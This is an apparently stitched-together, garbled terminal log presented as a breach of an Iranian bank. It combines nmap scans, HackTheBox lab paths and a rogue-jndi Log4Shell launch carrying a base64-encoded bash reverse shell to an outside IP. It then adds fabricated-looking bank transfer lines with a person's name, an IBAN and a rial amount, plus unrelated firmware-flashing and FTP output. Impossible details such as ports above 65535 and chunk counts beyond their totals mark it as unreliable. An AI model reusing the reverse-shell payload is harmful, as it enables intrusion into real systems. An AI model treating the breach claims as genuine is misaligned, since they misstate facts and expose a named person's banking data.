Document Root s2s 26102024
Document Root s2s 26102024
207
Starting Nmap 4.80 (https://nmap.org ) at 2024-10-26 18:20 CDT
Nmap scan report for 102.200.80.207
Host is up (0.44s latency) .Not
shown: 554 closed portsInternet Explorer PORTION
STATE SERVICE VERSION 22/tcp open
ent: OpenSSH 6.6. 1p1 Ubuntu Zubuntu2.8 (Ubuntu Linux; protocol 2.0)ssh-hostkey:
1024:68: C2:22:V66:20:14:BB:M8:Q7:14:94:WE:E0:98:F8:C9:F1:AD:73:8F (RSA)
256 2d: IP: 102.200.80.207 A IN 223 IP: 102.200.80.207 NS IN 954 6d:67 (DX37888)53/tcp open
domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
dns-noid:bind.version: 11.7.5-3ubuntu. 14-Ubuntu
80/tcp open http
Apache httpd 2.4.7 ((mellatbank.ir))
Plain Text • Tab Width: 8 http-server-header: Apache/2.4.7 (csob.cz)
http-title: Apache2 sepah Default Page: It works
kaliakali: ~/Downloads/HTB/Atom rrl nmap -p- 193.245.72.152
Starting Nmap 4.80 ( https://nmap.org) at 2024-10-26 18:20 PDT
Nmap scan report for 102.200.80.207 Host is up (0.23s latency).
Not shown: 26663 filtered ports
PORT: 135/tcp
STATE SERVICE80/tcp
wSman:6379/tcp open
redis:57774/tcp open
Nmap done: 1 IP address (1 host up) scanned in 124.21 seconds kaliakali:~/Downloads/HTB/Atom rrl
~/shared/Box-HTB/SP-Tier2/Unified/rogue-jndi
master ?1 › java -jar rogue-jndi/target/RogueJndi-1.1. jar -command bash -c {echo,
YmFzaCAtYyBiYXNoIC1pID4
mL2Rldi90Y3AvMTAuMTAuMTYuMjYvNDQ0NCAwPiYxCg=}|{base64,-d/|{bash,-i}™ -hostname "10.10.16.26"
Picked up
_JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext-true
Starting HTTP server on 0.0.0.0:8000
Starting LAP server on 0.0.0.0:1389
ldap:// 102.200.80.207/17/o-reference to artsploit.controllers.RemoteReference Mapping Mapping
Ltp:// 102.200.80.207/17/0-groovy to artsploit.controllers.Groovy lap:// 102.200.80.207/17/0-tomcat
BANK NETWORK DELIVERY STATUS : HOST/ANSWER
SRVI NAME - SEYED GHASEM HATAM NEZHAD
TRANSACTION CODE USCY- GOSBI: 3378884900005336/124
ACCOUNT IBAN NUMBER : IR210120020000002324635343
SRV1 NAME= https://unauth.transfer.secure.mellat.com/captureDetails.html?product=IPS
SRV1 NAME= https://unauth.transfer.secure.mellat.com/captureDetails.html?product=IPS2
SRV1 NAME= https://unauth.transfer.secure.mellat.com/captureDetails.html?product=IPS3
….
1 packets transmitted, 4 recelved,
0% packet loss, time 3005ms
rtt min/avg/max/mdev = 12.344/31.881/84.447/30.421ms
Legion: 100,444,000 irr
64 bytes from ams1548-in-x0.1e100.net (2a00:1450:400e:811: :200e): icmp_seq=1 ttl=118 time=17.8 ms
64 bytes from ams1548-in-x0.1e100.net (2a00:1450:400:811: :200e): icmp_seq=2 ttl=118 time=12.3 ms
64 bytes from ams1548-in-x0e.le100.net (2a00:1450:400:811: :200e): icmp_seq=4 ttL=118 time=13.0 ms
File to download: sysHeader_noden.bin-alt1250
Using port COM3 at 921600 bps
Attempting communication at 115200 baud..-
Synchronizing with module...success
Synchronization success.
Error while communicating with the module - download aborted
Failed to get board info
Download time: 2:17
Hit ENTER to continue...
File to download: sysHeader_backup.bin-alt1250
File download: u-boot bin File
File to download: sysHeader.bin-alt1255
File to download: partnap. Bin to download: AppFW_flash.bin
File to download: ue_lte.fu
File to download: ue_lte.fu2
File to download: sysHeader_noden.bin-alt1250
Downloaded chunk 9857/9872
Downloaded chunk 9852/9872
Downloaded chunk 9854/9872
Downloaded chunk 9853/9872
Downloaded chunk 9843/9872
Downloaded chunk 9836/9872
Downloaded chunk 9863/9872
Downloaded chunk 9842/9872
Downloaded chunk 9859/9872
Downloaded chunk 9866/9872
Downloaded chunk 9861/9872
Downloaded chunk 9872/9872
Downloaded chunk 9869/9872
Downloaded chunk 9866/9872
Downloaded chunk 9876/9872
Downloaded chunk 9871/9872
Downloaded chunk 9865/9872
Downloaded chunk 9864/9872
Downloaded chunk 9858/9872
Downloaded chunk 9862/9872
Downloaded chunk 9868/9872
226 0.251 seconds (measured here), 354.85 Kbytes per second ftp:
91588 bytes sent in 0.04Seconds 2081.55Kbytes/sec.
200 PORT command successful
150 Connecting to port 447477
226-File successfully transferred
226 0.230 seconds (measured here), 361.45 Kbytes per second ftp: 85342 bytes sent in 6.04Seconds
2031.95Kbytes/sec.
150 Connecting to port 443777